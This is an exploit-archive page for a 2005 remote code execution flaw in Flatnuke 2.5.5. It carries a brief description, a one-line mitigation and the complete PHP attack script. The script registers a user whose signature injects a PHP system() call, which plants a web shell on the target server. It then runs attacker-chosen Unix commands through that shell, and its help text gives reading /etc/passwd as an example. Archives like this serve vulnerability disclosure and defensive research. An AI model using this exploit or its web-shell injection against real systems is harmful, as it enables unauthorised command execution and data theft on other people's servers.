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Suggest Exploit
vendor:
Flatnuke
by:
rgod
9.3
CVSS
HIGH
Remote Code Execution
78
CWE
Product Name: Flatnuke
Affected Version From: 2.5.2005
Affected Version To: 2.5.2005
Patch Exists: NO
Related CWE: N/A
CPE: a:flatnuke:flatnuke:2.5.5
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Unix
2005

FlatNuke 2.5.5 remote commands execution

A vulnerability exists in FlatNuke 2.5.5 (and possibly prior versions) that allows an attacker to execute arbitrary commands on the vulnerable system. This is due to the application not properly sanitizing user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable application.

Mitigation:

The application should properly sanitize user-supplied input to prevent malicious commands from being executed.
Source

Exploit-DB raw data:

<?php
/* Aug 2005, 4th
   Flatnuke 2.5.5 (possibly prior versions) remote code execution
   by rgod
   site: http://rgod.altervista.org

   thanks to UlisseHacker... :)

   make these changes in php.ini if you have troubles
   with this script:
   allow_call_time_pass_reference = on
   register_globals = on						       */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo '<head><title>FlatNuke 2.5.5 remote commands execution</title>
      <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
      <style type="text/css">
      <!--
      body,td,th {color: #00FF00;}
      body {background-color: #000000;}
      .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
      .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
	       font-weight: bold;
	       font-style: italic;
              }
      -->
      </style></head>
      <body>
<p class="Stile6">FlatNuke 2.5.5 (possibly prior versions) remote commands execution</p>
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
  <tr>
    <td width="43%">
     <form name="form1" method="post" action="'.$SERVER['PHP_SELF'].'?path=value&host=value&port=value&command=value&proxy=value">
      <p>
       <input type="text" name="host">
      <span class="Stile5">hostname (ex: www.sitename.com) </span></p>
      <p>
        <input type="text" name="path">
        <span class="Stile5">path (ex: /flatnuke/forum/ or /forum/ just /) </span></p>
      <p>
      <input type="text" name="port">
        <span class="Stile5">specify a port other than 80 (default value) </span></p>
      <p>
      <input type="text" name="command">
        <span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p>
      <p>
      <input type="text" name="proxy">
        <span class="Stile5">send exploit through an HTTP proxy (ip:port)  </span></p>
      <p>
          <input type="submit" name="Submit" value="go!">
      </p>
    </form></td>
  </tr>
</table>
</body>
</html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>  </td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>  </td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }

echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
$data="op=reg&nome=jimyhendrix®pass=jimihendrix&reregpass=jimihendrix&anag=jimihendrix&email=jimihendrix@email.com&homep=".urlencode('http://www.asite.com')."&prof=artist&prov=whereimfrom&ava=clanbomber.png&url_avatar=&firma=".chr(13).urlencode('system($HTTP_GET_VARS[command]);');

if ($proxy=='')
       {$packet="POST ".$path."index.php HTTP/1.1\r\n";}
else
       {
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...<br>';
	            die;
	           }
         else
        {$packet="POST http://".$host.$path."index.php HTTP/1.1\r\n";}
        }

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."index.php?op=vis_reg\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;

show($packet);
if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $fp=fsockopen($parts[0],$parts[1]);
	    if (!$fp) { echo 'No response from proxy...';
			die;
		       }

	    }
fputs($fp,$packet);
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }
fclose($fp);
echo nl2br(htmlentities($data));
if ($proxy=='')
       {$packet="GET ".$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";}
else
       {
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...<br>';
	            die;
	           }
         else
        {$packet="GET http://".$host.$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";}
        }

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $fp=fsockopen($parts[0],$parts[1]);
	    if (!$fp) { echo 'No response from proxy...';
			die;
		       }

	    }
fputs($fp,$packet);
$data='';

if ($proxy=='')
{    $data='';
     while (!feof($fp))
     {
      $data.=fgets($fp);
     }
}
else
{
$data='';
   while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }

}

fclose($fp);

if (eregi('HTTP/1.1 200 OK',$data))
    {echo 'Exploit sent...<br> If Flatnuke is unpatched and vulnerable <br>';
     echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';
    }
else
    {echo 'Error, see output...';}
echo nl2br(htmlentities($data));
}

?>

# milw0rm.com [2005-08-08]